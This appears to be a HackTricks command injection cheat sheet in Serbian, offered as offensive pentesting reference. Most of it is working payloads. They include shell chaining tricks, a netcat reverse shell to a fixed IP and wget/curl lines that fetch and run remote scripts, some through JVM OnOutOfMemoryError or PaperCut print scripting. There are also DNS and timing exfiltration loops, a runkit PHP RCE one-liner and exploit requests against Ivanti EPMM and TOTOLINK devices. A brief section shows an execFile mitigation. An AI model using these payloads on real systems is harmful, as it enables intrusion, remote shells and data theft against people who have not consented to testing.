Command Injection
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.
Šta je command Injection?
A command injection omogućava napadaču izvršavanje proizvoljnih komandi operativnog sistema na serveru koji hostuje aplikaciju. Kao posledica, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču sticanje neovlašćenog pristupa ili kontrole nad okruženjem aplikacije i osnovnim sistemom.
Kontekst
U zavisnosti od gde se vaš unos ubacuje možda ćete morati da prekinete citirani kontekst (koristeći " ili ') pre nego što izvršite komande.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
PHP sistemi pravila sa omogućenim runkit
Neke aplikacije implementiraju administrativne „rule engines“ dostupne samo administratorima tako što izvršavaju PHP koji dostavi napadač. Ako je u okruženju omogućen runkit extension, napadač može redefinisati ili ubaciti funkcije u runtime-u i eskalirati editor pravila koji radi samo na nivou logike u full PHP RCE.
Indikatori:
- Admin UI prihvata PHP-like „pravila“ koja se evaluiraju.
runkit/runkit7su učitani (phpinfo()iliextension_loaded('runkit')).
Primer zloupotrebe (redefinisanje funkcije koju pravila koriste da izvrše komandu):
<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');
Ako se sadržaj pravila sačuva i kasnije evaluira, on postaje perzistentni RCE primitiv unutar web konteksta.
Ograničenje Bypasses
Ako pokušavate da izvršite arbitrary commands inside a linux machine, biće vam zanimljivo da pročitate o ovim Bypasses:
Primeri
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Bash aritmetička evaluacija u RewriteMap/CGI-style skriptama
RewriteMap helper-i napisani u bash ponekad ubacuju query parametre u globalne promenljive i kasnije ih porede u aritmetičkim kontekstima ([[ $a -gt $b ]], $((...)), let). Aritmetička ekspanzija ponovo tokenizuje sadržaj, pa se imena promenljivih pod kontrolom napadača ili reference na nizove šire dvaput i mogu se izvršiti.
Obrazac viđen u Ivanti EPMM RewriteMap helperima:
- Parametri se mapiraju na globalne promenljive (
st→gStartTime,h→theValue). - Later check:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
- Pošaljite
st=theValuetako dagStartTimepokazuje na stringtheValue. - Pošaljite
h=gPath['sleep 5']tako datheValuesadrži indeks niza; tokom aritmetičke provere izvrši sesleep 5(zamenite stvarnim payload-om).
Probe (~5s kašnjenje, zatim 404 ako je ranjivo):
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
Napomene:
- Potražite isti helper pod drugim prefiksima (npr.
/mifs/c/aftstore/fob/). - Aritmetički konteksti tretiraju nepoznate tokene kao identifikatore promenljivih/nizova, tako da ovo zaobilazi jednostavne filtere metakaraktera.
Parametri
Evo top 25 parametara koji bi mogli biti ranjivi na code injection i slične RCE ranjivosti (iz link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Izdvajanje data: char po char
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
Na osnovu alata sa https://github.com/HoLyVieR/dnsbin, koji je takođe hostovan na dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Online alati za proveru DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
Zaobilaženje filtriranja
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
Prilikom auditovanja JavaScript/TypeScript back-endova često ćete naići na Node.js child_process API.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() pokreće shell (/bin/sh -c), zato će svaki karakter koji ima posebno značenje za shell (back-ticks, ;, &&, |, $(), …) rezultirati command injection kada se korisnički unos konkatenira u string.
Mitigacija: koristite execFile() (ili spawn() bez shell opcije) i navedite svaki argument kao zaseban element niza tako da shell nije uključen:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Primer iz stvarnog sveta: Synology Photos ≤ 1.7.0-0794 je bio eksploatabilan putem neautentifikovanog WebSocket događaja koji je postavio podatke pod kontrolom napadača u id_user koji su kasnije ugrađeni u exec() poziv, ostvarivši RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Ne sve injekcije zahtevaju shell metacharacters. Ako aplikacija prosleđuje nepouzdane stringove kao argumente sistemskom utilitiju (čak i sa execve/execFile i bez shell), mnogi programi će i dalje parsirati bilo koji argument koji počinje sa - ili -- kao opciju. Ovo omogućava napadaču da promeni režime, izmeni izlazne putanje ili pokrene opasna ponašanja bez ikakvog ulaska u shell.
Tipična mesta gde se ovo pojavljuje:
- Ugrađeni web UI/CGI handleri koji sastavljaju komande kao što su
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, itd. - Centralizovani CGI ruteri (e.g.,
/cgi-bin/<something>.cgiwith a selector parameter liketopicurl=<handler>) gde više handlera koristi isti slabi validator.
Šta probati:
- Prosledite vrednosti koje počinju sa
-/--da budu prihvaćene kao opcije od strane ciljnog alata. - Iskoristite opcije koje menjaju ponašanje ili upisuju fajlove, na primer:
ping:-f/-c 100000da optereti uređaj (DoS)curl:-o /tmp/xda upiše proizvoljne putanje,-K <url>da učita konfiguraciju pod kontrolom napadačatcpdump:-G 1 -W 1 -z /path/script.shda se postigne izvršenje nakon rotacije u nesigurnim wrapper-ima- Ako program podržava
--end-of-options, pokušajte da zaobiđete naivne mitigacije koje dodaju--na pogrešno mesto.
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
JVM diagnostic callbacks for guaranteed exec
Bilo koja primitiva koja vam omogućava da ubacite JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) može se pretvoriti u pouzdan RCE bez menjanja application bytecode:
- Prinudite deterministički crash smanjenjem metaspace-a ili heap-a:
-XX:MaxMetaspaceSize=16m(ili mali-Xmx). Ovo garantujeOutOfMemoryErrorčak i tokom ranog bootstrap-a. - Dodajte error hook:
-XX:OnOutOfMemoryError="<cmd>"ili-XX:OnError="<cmd>"izvršava proizvoljnu OS komandu kad god JVM abortira. - Po želji dodajte
-XX:+CrashOnOutOfMemoryErrorda biste izbegli pokušaje oporavka i učinili payload jednokratnim.
Example payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Pošto ove dijagnostike parsira sam JVM, nisu potrebni shell metakarakteri i komanda se izvršava sa istim nivoom integriteta kao i launcher. Desktop IPC bagovi koji prosleđuju JVM flagove koje korisnik navede (see Localhost WebSocket abuse) stoga direktno dovode do izvršavanja komandi na OS-u.
PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
- Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) expose
/app?service=page/SetupCompleted; browsing there and clicking Login returns a validJSESSIONIDwithout credentials (authentication bypass in the setup flow). - In Options → Config Editor, set
print-and-device.script.enabled=Yandprint.script.sandboxed=Nto turn on printer scripting and disable the sandbox. - In the printer Scripting tab, enable the script and keep
printJobHookdefined to avoid validation errors, but place the payload outside the function so it executes immediately when you click Apply (no print job needed):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
- Zameni callback reverse shell-om; ako UI/PoC ne može da obradi pipes/redirects, postavi payload jednom komandom i izvrši ga drugim zahtevom.
- Horizon3’s CVE-2023-27350.py automatizuje auth bypass, config flips, command execution i rollback — pokreni ga kroz upstream proxy (npr.
proxychains→ Squid) kada je servis dostupan samo interno.
Lista za detekciju Brute-Force
Referencije
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
- PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE
- HTB: Gavel
- CVE-2023-27350.py (auth bypass + print scripting automation)
- Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.


